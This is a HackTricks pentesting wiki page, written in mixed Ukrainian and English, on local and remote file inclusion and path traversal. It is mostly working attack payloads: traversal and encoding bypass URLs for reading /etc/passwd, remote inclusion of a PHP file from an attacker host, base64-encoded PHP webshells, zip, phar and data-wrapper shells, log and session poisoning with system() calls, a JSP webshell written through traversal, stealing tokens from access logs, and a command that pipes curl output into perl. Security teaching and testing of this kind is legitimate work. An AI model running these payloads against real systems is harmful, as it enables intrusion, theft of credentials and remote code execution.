File Inclusion/Path traversal

Reading time: 28 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

File Inclusion

Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (Найкраще: ви можете написати код, і сервер його виконає). In php це disabled за замовчуванням (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.

Вразливість виникає, коли користувач якимось чином може контролювати файл, який сервер збирається завантажити.

Вразливі PHP functions: require, require_once, include, include_once

Цікавий інструмент для експлуатації цієї вразливості: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Об’єднавши кілька *nix LFI списків і додавши більше шляхів, я створив цей:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Спробуйте також замінити / на \
Спробуйте також додати ../../../../../

Список, що використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти here

Windows

Злиття різних wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Спробуйте також замінити / на \
Спробуйте також видалити C:/ і додати ../../../../../

Список, що використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти here

OS X

Перевірте LFI-список для Linux.

Основи LFI та обходи

Усі приклади призначені для Local File Inclusion, але їх також можна застосувати до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences, видалені нерекурсивно

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass додавання додаткових символів у кінець переданого рядка (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Це вирішено з PHP 5.4

Кодування

Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

З існуючої папки

Можливо, back-end перевіряє шлях до папки:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Дослідження директорій файлової системи на сервері

Файлову систему сервера можна рекурсивно досліджувати не лише для виявлення файлів, але й директорій, використовуючи певні техніки. Цей процес передбачає визначення глибини директорії та перевірку на існування конкретних папок. Нижче наведено детальний метод для досягнення цього:

  1. Визначте глибину директорії: Визначте глибину поточної директорії, успішно отримавши файл /etc/passwd (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований таким чином, що вказує на глибину три:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Перевірка папок: Додайте ім'я підозрюваної папки (наприклад, private) до URL, потім перейдіть назад до /etc/passwd. Додатковий рівень каталогу вимагає збільшити глибину на один:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Інтерпретація результатів: Відповідь сервера вказує, чи існує папка:
  • Помилка / Немає виводу: Папка private ймовірно не існує за вказаним шляхом.
  • Вміст /etc/passwd: Наявність папки private підтверджується.
  1. Рекурсивне дослідження: Знайдені папки можна додатково досліджувати на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).

Для дослідження директорій у різних місцях файлової системи відповідно скорегуйте payload. Наприклад, щоб перевірити, чи містить /var/www/ папку private (припускаючи, що поточна директорія має глибину 3), використайте:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation — метод, що використовується для маніпулювання шляхами до файлів у веб-застосунках. Його часто застосовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сконструювати шлях до файлу, який, після модифікації заходом безпеки, усе ще вказуватиме на потрібний файл.

In PHP, різні подання шляху до файлу можуть вважатися еквівалентними через природу файлової системи. For instance:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • When the last 6 characters are passwd, appending a / (making it passwd/) doesn't change the targeted file.
  • Similarly, if .php is appended to a file path (like shellcode.php), adding a /. at the end will not alter the file being accessed.

Наведені приклади демонструють, як використовувати path truncation для доступу до /etc/passwd, поширеної мети через її конфіденційний вміст (інформацію про облікові записи користувачів):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

У таких сценаріях кількість необхідних послідовностей ../ може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.

  • Використання крапкових сегментів і додаткових символів: Послідовності обходу (../) у поєднанні з додатковими крапковими сегментами та символами можуть використовуватися для навігації файловою системою, фактично ігноруючи рядки, які додає сервер.
  • Визначення необхідної кількості послідовностей: Методом проб і помилок можна знайти точну кількість ../ послідовностей, необхідних для переходу до кореневого каталогу, а потім до /etc/passwd, забезпечивши нейтралізацію доданих рядків (наприклад, .php), але збереження бажаного шляху (/etc/passwd).
  • Початок з фейкового каталогу: Звичайною практикою є початок шляху з неіснуючого каталогу (наприклад, a/). Цю техніку використовують як запобіжний захід або щоб виконати вимоги логіки розбору шляху сервером.

При використанні технік усікання шляху важливо розуміти поведінку розбору шляху сервером і структуру файлової системи. Кожен сценарій може вимагати різного підходу, тому часто необхідне тестування для знаходження найефективнішого методу.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

У php це вимкнено за замовчуванням, оскільки allow_url_include встановлено в Off. Воно має бути On для того, щоб це працювало, і в такому випадку ви можете включити PHP-файл із вашого сервера та отримати RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Якщо з якоїсь причини allow_url_include увімкнено, але PHP фільтрує доступ до зовнішніх веб-сторінок, за цим дописом, ви можете, наприклад, використати data-протокол з base64, щоб декодувати b64 PHP-код та отримати RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

У попередньому коді кінцевий +.txt був доданий, тому що зловмиснику потрібен був рядок, який закінчується на .txt, тож рядок закінчується ним і після декодування b64 ця частина поверне лише сміття, а справжній код PHP буде включений (і, отже, виконаний).

Інший приклад без використання протоколу php:// буде:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python кореневий елемент

У python у code, як у цьому:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Якщо користувач передає absolute path до file_name, попередній шлях просто видаляється:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Це очікувана поведінка відповідно до the docs:

Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і з'єднання продовжується починаючи з компонента абсолютного шляху.

Java Перелік каталогів

Схоже, якщо у вас є Path Traversal у Java і ви запитуєте каталог замість файлу, буде повернуто список вмісту каталогу. Це не відбуватиметься в інших мовах (afaik).

Топ 25 параметрів

Нижче наведено список топ 25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP-фільтри дозволяють виконувати базові операції модифікації над даними перед тим, як вони будуть прочитані чи записані. Існує 5 категорій фільтрів:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Видаляє теги з даних (усе, що між символами "<" і ">")
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Перетворює в іншу кодування (convert.iconv.<input_enc>.<output_enc>). Щоб отримати список усіх кодувань, які підтримуються, виконайте в консолі: iconv -l

warning

Зловживаючи фільтром перетворення convert.iconv.*, ви можете згенерувати довільний текст, що може бути корисним для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для докладнішої інформації див. LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Стискає вміст (useful if exfiltrating a lot of info)
  • zlib.inflate: Розпаковує дані
  • Encryption Filters
  • mcrypt.* : Застарілий
  • mdecrypt.* : Застарілий
  • Інші фільтри
  • Запустивши в PHP var_dump(stream_get_filters());, ви можете знайти кілька неочікуваних фільтрів:
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

Частина "php://filter" нечутлива до регістру

Використання php filters як oracle для читання довільних файлів

У цій публікації запропоновано техніку читання локального файлу без повернення вмісту сервером. Техніка базується на boolean exfiltration файлу (символ за символом) з використанням php filters як oracle. Це можливо, бо php filters можуть збільшити текст настільки, що php викине виняток.

В оригінальній публікації є детальне пояснення техніки, але тут — коротке резюме:

  • Використовуйте codec UCS-4LE щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим.
  • Це використовується для генерації тексту настільки великого, що коли початкову літеру вгадають правильно, php викличе помилку.
  • Фільтр dechunk видалить усе, якщо перший char не є hexadecimal, тож можна визначити, чи перший char — hex.
  • Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо трансформацій, щоб вона перестала бути hexadecimal. Якщо ж це hex, dechunk не видалить її і початкова "бомба" спричинить помилку php.
  • Codec convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього codec: a -> b). Це дозволяє виявити, чи перша буква — a, наприклад, бо якщо застосувати 6 разів цей codec: a->b->c->d->e->f->g, літера більше не є hexadecimal, отже dechunk її не видалить, і php помилка спрацює через множення з початковою "бомбою".
  • Використовуючи інші трансформації, як-от rot13 на початку, можна leak інші символи, наприклад n, o, p, q, r (та інші codecs можна застосувати, щоб перемістити інші літери в hex діапазон).
  • Коли початковий char — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
  • Остаточна проблема — зрозуміти, як leak більше, ніж початкова літера. Використовуючи order memory filters типу convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE можна змінити порядок char'ів і отримати на першій позиції інші літери тексту.
  • І щоб отримати further data ідея така: generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб воно pivot with the next 2 bytes, і delete the data until the junk data (це видалить перші 2 bytes початкового тексту). Продовжуйте робити це, поки не досягнете бажаного біта для leak.

У публікації також був leak інструмент для автоматизації цього: php_filters_chain_oracle_exploit.

php://fd

Цей wrapper дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для exfiltrate вміст відкритих файлів:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

You can also use php://stdin, php://stdout and php://stderr to access the файлові дескриптори 0, 1 and 2 respectively (не впевнений, наскільки це може бути корисно в атаці)

zip:// and rar://

Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб можна було зловживати протоколом rar, він повинен бути спеціально активований.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Зверніть увагу, що цей протокол обмежений php конфігураціями allow_url_open та allow_url_include

expect://

Expect має бути активовано. Ви можете виконувати код за допомогою цього:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Вкажіть ваш payload у POST параметрах:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Файл .phar можна використати для виконання PHP-коду, коли веб-застосунок використовує функції на кшталт include для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу .phar:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Щоб скомпілювати файл .phar, слід виконати наступну команду:

bash
php --define phar.readonly=0 create_path.php

Після виконання буде створено файл test.phar, який потенційно може бути використаний для експлуатації Local File Inclusion (LFI).

Якщо LFI лише читає файли без виконання PHP-коду всередині через функції, такі як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() або filesize(), можна спробувати експлуатувати deserialization vulnerability. Ця вразливість пов'язана з читанням файлів через протокол phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Було можливо зловживати будь-яким довільним читанням файлу з PHP, яке підтримує php filters, щоб отримати RCE. Детальний опис можна found in this post.
Дуже коротке резюме: a 3 byte overflow в PHP heap був використаний, щоб змінити ланцюжок вільних чанків певного розміру задля можливості записати будь-що в будь-яку адресу, тому був доданий хук для виклику system.
Було можливо алоціювати чанки специфічних розмірів, зловживаючи додатковими php filters.

More protocols

Дивіться більше можливих protocols to include here:

  • php://memory and php://temp — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в file inclusion attack)
  • file:// — Доступ до локальної файлової системи
  • http:// — Доступ до HTTP(s) URL-адрес
  • ftp:// — Доступ до FTP(s) URL-адрес
  • zlib:// — Потоки стиснення
  • glob:// — Знаходження імен шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тож тут не надто корисний)
  • ssh2:// — Secure Shell 2
  • ogg:// — Аудіопотоки (не корисно для читання довільних файлів)

LFI via PHP's 'assert'

Ризики Local File Inclusion (LFI) у PHP особливо великі при роботі з функцією 'assert', яка може виконувати код всередині рядків. Це особливо проблематично, якщо введення, що містить символи directory traversal на кшталт "..", перевіряється, але не належним чином очищається.

Наприклад, PHP-код може бути написаний, щоб запобігти directory traversal наступним чином:

bash
assert("strpos('$file', '..') === false") or die("");

Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, attacker може використати:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Аналогічно, для виконання довільних системних команд можна використовувати:

plaintext
' and die(system("id")) or '

Важливо URL-encode these payloads.

PHP Blind Path Traversal

warning

This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to file()) but the content is not shown.

У this incredible post пояснюється, як blind path traversal може бути використаний через PHP filter для exfiltrate the content of a file via an error oracle.

Коротко, техніка використовує "UCS-4LE" кодування, щоб зробити вміст файлу настільки великим, що PHP function opening файл спричинить помилку.

Потім, щоб leak перший символ, використовується фільтр dechunk разом з іншими, такими як base64 або rot13, і врешті-решт фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE застосовуються, щоб помістити інші символи на початок і leak їх.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Коли серверний код, який обробляє/завантажує файли, будує шлях призначення на основі даних під контролем користувача (наприклад, ім'я файлу або URL) без канонізації та валідації, сегменти .. і абсолютні шляхи можуть вийти за межі призначеного каталогу і спричинити arbitrary file write. Якщо ви можете помістити payload у веб-доступний каталог, зазвичай ви отримуєте unauthenticated RCE, розмістивши webshell.

Типовий робочий процес експлуатації:

  • Знайти write primitive в ендпоінті або фонового воркера, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
  • Визначити веб-доступні каталоги. Типові приклади:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Сфабрикувати traversal path, який виходить за межі призначеного сховища в webroot, і включити в нього вміст вашого webshell.
  • Перейти до розміщеного payload і виконати команди.

Примітки:

  • Сервіс, що виконує запис і вразливий до цього, може слухати на ненаправленому HTTP-порті (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інший порт) пізніше буде сервити ваш payload.
  • На Java-стеках ці операції запису файлів часто реалізовані простою конкатенацією File/Paths. Відсутність канонізації/allow-listing — це основний дефект.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Заходи hardening, що усувають цей клас помилок:

  • Приводьте шлях до канонічної форми та перевіряйте, що він є підкаталогом базового каталогу, внесеного до списку дозволених.
  • Відхиляйте будь-які шляхи, що містять .., абсолютні корені або літери дисків; віддавайте перевагу згенерованим іменам файлів.
  • Запускайте writer від імені низькоправового облікового запису та розділяйте директорії для запису й корені, що обслуговуються.

Remote File Inclusion

Пояснювалося раніше, follow this link.

Via Apache/Nginx log file

Якщо сервер Apache або Nginx вразливий до LFI всередині include-функції, ви можете спробувати отримати доступ до /var/log/apache2/access.log or /var/log/nginx/access.log, записати в user agent або в GET parameter php shell типу <?php system($_GET['c']); ?> і включити цей файл

warning

Зверніть увагу, що якщо ви використаєте double quotes для shell замість simple quotes, подвійні лапки будуть змінені на рядок "quote;", PHP згенерує помилку і нічого іншого виконано не буде.

Також переконайтесь, що ви правильно записали payload, інакше PHP буде помилково працювати щоразу при спробі завантажити файл логів і у вас не буде другого шансу.

Це також може бути зроблено в інших логах, але будьте обережні, код всередині логів може бути URL encoded і це може зіпсувати Shell. Заголовок authorisation "basic" містить "user:password" у Base64 і він декодується всередині логів. The PHPShell could be inserted inside this header.
Other possible log paths:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Прочитайте access logs, щоб добути GET-based auth tokens (token replay)

Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI primitive для web server logs, ви можете вкрасти ці токени з access logs і replay їх, щоб повністю обійти authentication.

How-to:

  • Use the traversal/LFI to read the web server access log. Common locations:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
  • Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.

Example flow (generic):

http
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Декодуйте тіло, якщо воно в Base64, потім повторно використайте перехоплений token:

http
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Примітки:

  • Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
  • Якщо додаток підтримує кілька імен токенів, шукайте типові ключі, такі як AuthenticationToken, token, sid, access_token.
  • Оновіть будь-які tokens, які могли бути leaked у logs.

Через Email

Відправте лист на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте include його в пошту користувача за шляхом /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>

Через /proc/*/fd/*

  1. Завантажте велику кількість shells (наприклад: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Через /proc/self/environ

Як і в log файлі, відправте payload в User-Agent — він буде відображений у файлі /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Через завантаження

Якщо ви можете завантажити файл, просто вставте shell payload у нього (наприклад: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Щоб файл залишався читабельним, найкраще вбудовувати це в метадані зображень/doc/pdf

Через Zip fie upload

Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Через PHP sessions

Перевірте, чи сайт використовує PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

У PHP ці сесії зберігаються в /var/lib/php5/sess\[PHPSESSID]_ файлах

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Встановіть cookie на <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Використайте LFI, щоб включити PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Через ssh

Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa

Через vsftpd логи

Логи FTP-сервера vsftpd знаходяться за адресою /var/log/vsftpd.log. Якщо існує вразливість Local File Inclusion (LFI) і є доступ до відкритого сервера vsftpd, можна розглянути такі кроки:

  1. Впровадьте PHP payload у поле username під час процесу входу.
  2. Після ін'єкції скористайтеся LFI для отримання логів сервера з /var/log/vsftpd.log.

Через php base64 filter (using base64)

Як показано в this статті, PHP base64 filter просто ігнорує символи, що не належать до base64. Цим можна скористатися, щоб обійти перевірку розширення файлу: якщо ви подасте base64, який закінчується на ".php", фільтр просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Через php filters (файл не потрібен)

This writeup пояснює, що ви можете використовувати php filters to generate arbitrary content як вивід. Що, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.

LFI2RCE via PHP Filters

Через segmentation fault

Завантажте файл, який буде збережений як тимчасовий в /tmp, потім у тому ж запиті спричиніть segmentation fault, і тоді тимчасовий файл не буде видалений і ви зможете його знайти.

LFI2RCE via Segmentation Fault

Через збереження тимчасових файлів Nginx

Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:

LFI2RCE via Nginx temp files

Через PHP_SESSION_UPLOAD_PROGRESS

Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви вкажете PHP_SESSION_UPLOAD_PROGRESS у multipart POST даних, PHP увімкне сесію для вас. Це можна зловживати, щоб отримати RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Через тимчасові завантаження файлів у Windows

Якщо ви знайшли Local File Inclusion і сервер працює на Windows, ви можете отримати RCE:

LFI2RCE Via temp file uploads

Через pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Нижче показано, як зловживати вразливістю CRLF, щоб отримати RCE (з here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Через phpinfo() (file_uploads = on)

Якщо ви знайшли Local File Inclusion і файл, що викликає phpinfo() з file_uploads = on, ви можете отримати RCE:

LFI2RCE via phpinfo()

Через compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Якщо ви знайшли Local File Inclusion і ви можете exfiltrate шлях тимчасового файлу, АЛЕ сервер перевіряє, чи файл, що буде включений, має PHP-маркери, ви можете спробувати обійти цю перевірку за допомогою цієї Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Через eternal waiting + bruteforce

Якщо ви можете зловживати LFI, щоб upload temporary files і змусити сервер hang виконання PHP, ви могли б потім brute force імена файлів протягом годин, щоб знайти тимчасовий файл:

LFI2RCE via Eternal waiting

До Fatal Error

Якщо ви включите будь-який із файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Вам потрібно включити той самий файл двічі, щоб спричинити цю помилку).

Я не знаю, наскільки це корисно, але можливо.
Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, які було завантажено, видаляються.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks